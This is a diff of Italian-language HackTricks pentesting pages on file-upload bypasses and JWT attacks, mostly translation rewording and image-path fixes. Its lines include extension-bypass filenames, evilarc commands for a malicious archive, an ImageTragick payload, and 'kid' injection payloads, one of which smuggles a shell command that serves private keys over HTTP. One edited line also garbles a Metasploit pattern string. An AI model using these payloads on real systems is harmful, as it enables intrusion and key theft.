 Pertanto, se una richiesta GET è limitata, puoi semplicemente **inviare una richiesta HEAD che sarà elaborata come una richiesta GET**.
 
@@ -586,7 +586,7 @@ login(USER, line.strip())
 
 <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
 
-Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
+Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
 
 **Approfondimenti sul hacking**\
 Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
@@ -600,8 +600,8 @@ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali
 **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
 
 {% hint style="success" %}
-Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -609,7 +609,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
 
 </details>
 {% endhint %}

pentesting-web/file-upload/README.md

@@ -1,8 +1,8 @@
 # File Upload
 
 {% hint style="success" %}
-Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -26,7 +26,7 @@ Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - *
 Altre estensioni utili:
 
 * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
-* **Funzionante in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+* **Funzionamento in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
 * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@@ -36,11 +36,11 @@ Altre estensioni utili:
 
 ### Bypass file extensions checks
 
-1. Se applicabili, **controlla** le **estensioni precedenti.** Prova anche a usarle con alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
+1. Se applicabile, **controlla** le **estensioni precedenti.** Provale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
 2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
 * _file.png.php_
 * _file.png.Php5_
-3. Prova ad aggiungere **caratteri speciali alla fine.** Potresti usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
+3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
 * _file.php%20_
 * _file.php%0a_
 * _file.php%00_
@@ -50,7 +50,7 @@ Altre estensioni utili:
 * _file._
 * _file.php...._
 * _file.pHp5...._
-4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** del server con tecniche come **raddoppiare** l'**estensione** o **aggiungere dati spazzatura** (**byte null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
+4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** del server con tecniche come **raddoppiare** l'**estensione** o **aggiungere dati spazzatura** (**byte** nulli) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
 * _file.png.php_
 * _file.png.pHp5_
 * _file.php#.png_
@@ -62,7 +62,7 @@ Altre estensioni utili:
 5. Aggiungi **un altro livello di estensioni** al controllo precedente:
 * _file.png.jpg.php_
 * _file.php%00.png%00.jpg_
-6. Prova a mettere l'**estensione di esecuzione prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
+6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
 * _es: file.php.png_
 7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
 8.  Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
@@ -70,7 +70,7 @@ Altre estensioni utili:
 ```
 # Linux massimo 255 byte
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
 # Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@@ -113,7 +113,7 @@ Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al truc
 
 I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **utilizzati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
 
-L'estensione `.inc` è a volte utilizzata per file php che sono solo usati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
+L'estensione `.inc` è a volte utilizzata per file php che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
 
 ## **Jetty RCE**
 
@@ -125,7 +125,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
 
 Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
+Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
 
 Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
 ```ini
@@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, quindi l'URL iniziale bypasserà il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
+Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
 
 ## Strumenti
 
@@ -195,21 +195,21 @@ Nota che **un'altra opzione** che potresti considerare per bypassare questo cont
 * [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 * Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
 * [**XXE e CORS** bypass con upload PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-* PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni date.
+* PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
 * Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per controllare se il server ha qualche **antivirus**
-* Controlla se c'è qualche **limite di dimensione** nel caricamento di file
+* Controlla se c'è qualche **limite di dimensione** nel caricamento dei file
 
 Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
-2. **SVG**: Stored XSS / SSRF / XXE
-3. **GIF**: Stored XSS / SSRF
-4. **CSV**: CSV injection
+2. **SVG**: XSS memorizzato / SSRF / XXE
+3. **GIF**: XSS memorizzato / SSRF
+4. **CSV**: iniezione CSV
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
-7. **HTML / JS** : HTML injection / XSS / Open redirect
-8. **PNG / JPEG**: Pixel flood attack (DoS)
-9. **ZIP**: RCE via LFI / DoS
+7. **HTML / JS** : iniezione HTML / XSS / Open redirect
+8. **PNG / JPEG**: attacco pixel flood (DoS)
+9. **ZIP**: RCE tramite LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
 
 #### Estensione Burp
@@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### Decompress in different folders
 
-La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
+La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
 
 Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
 ```python
@@ -246,7 +246,7 @@ python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
+Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, è necessario creare un symlink a quel file nel proprio sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
 
 Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
 ```python
@@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
+Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell'[exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
@@ -304,7 +304,7 @@ pop graphic-context
 ```
 ## Embedding PHP Shell on PNG
 
-Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
+L'incorporamento di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
 
 Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
 
@@ -312,11 +312,11 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s
 
 ## Polyglot Files
 
-I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiata; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
+I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS.
 
-L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La pratica comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
+L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
 
-Nonostante la loro adattabilità, i poliglotti incontrano limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
+Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
 
 Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
@@ -329,15 +329,15 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -1,8 +1,8 @@
 # Vulnerabilità JWT (Json Web Tokens)
 
 {% hint style="success" %}
-Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -10,12 +10,12 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -26,7 +26,7 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
 
 ### **Vittorie Veloci**
 
-Esegui [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) in modalità `All Tests!` e aspetta le righe verdi.
+Esegui [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con modalità `All Tests!` e aspetta le righe verdi.
 ```bash
 python3 jwt_tool.py -M at \
 -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@@ -36,7 +36,7 @@ Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web c
 
 ![](<../.gitbook/assets/image (935).png>)
 
-Poi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando jwt\_ tool:
+Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_ tool:
 ```bash
 python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
 ```
@@ -48,7 +48,7 @@ Puoi semplicemente manomettere i dati lasciando la firma così com'è e controll
 
 #### **La firma del token viene controllata?**
 
-Per verificare se la firma di un JWT viene verificata:
+Per controllare se la firma di un JWT viene verificata:
 
 * Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
 * Un cambiamento nella pagina restituita indica anche una verifica.
@@ -59,7 +59,7 @@ Per verificare se la firma di un JWT viene verificata:
 È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
 
 * I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, necessitando ulteriori indagini.
-* I token che originano dal lato server indicano un processo sicuro.
+* I token originati dal lato server indicano un processo sicuro.
 
 ### Durata
 
@@ -129,15 +129,15 @@ By targeting files with predictable content, it's possible to forge a valid JWT.
 
 #### SQL Injection via "kid"
 
-Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, un'iniezione SQL potrebbe essere facilitata modificando il payload `kid`. Un esempio di payload che utilizza l'iniezione SQL per alterare il processo di firma del JWT include:
+If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
 
 `non-existent-index' UNION SELECT 'ATTACKER';-- -`
 
-Questa alterazione costringe l'uso di una chiave segreta nota, `ATTACKER`, per la firma del JWT.
+This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
 
 #### OS Injection through "kid"
 
-Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Esecuzione Remota di Codice (RCE). Iniettando comandi nel parametro `kid`, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE e esposizione della chiave è:
+A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
 
 `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
 
@@ -146,9 +146,9 @@ Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato
 #### jku
 
 jku sta per **JWK Set URL**.\
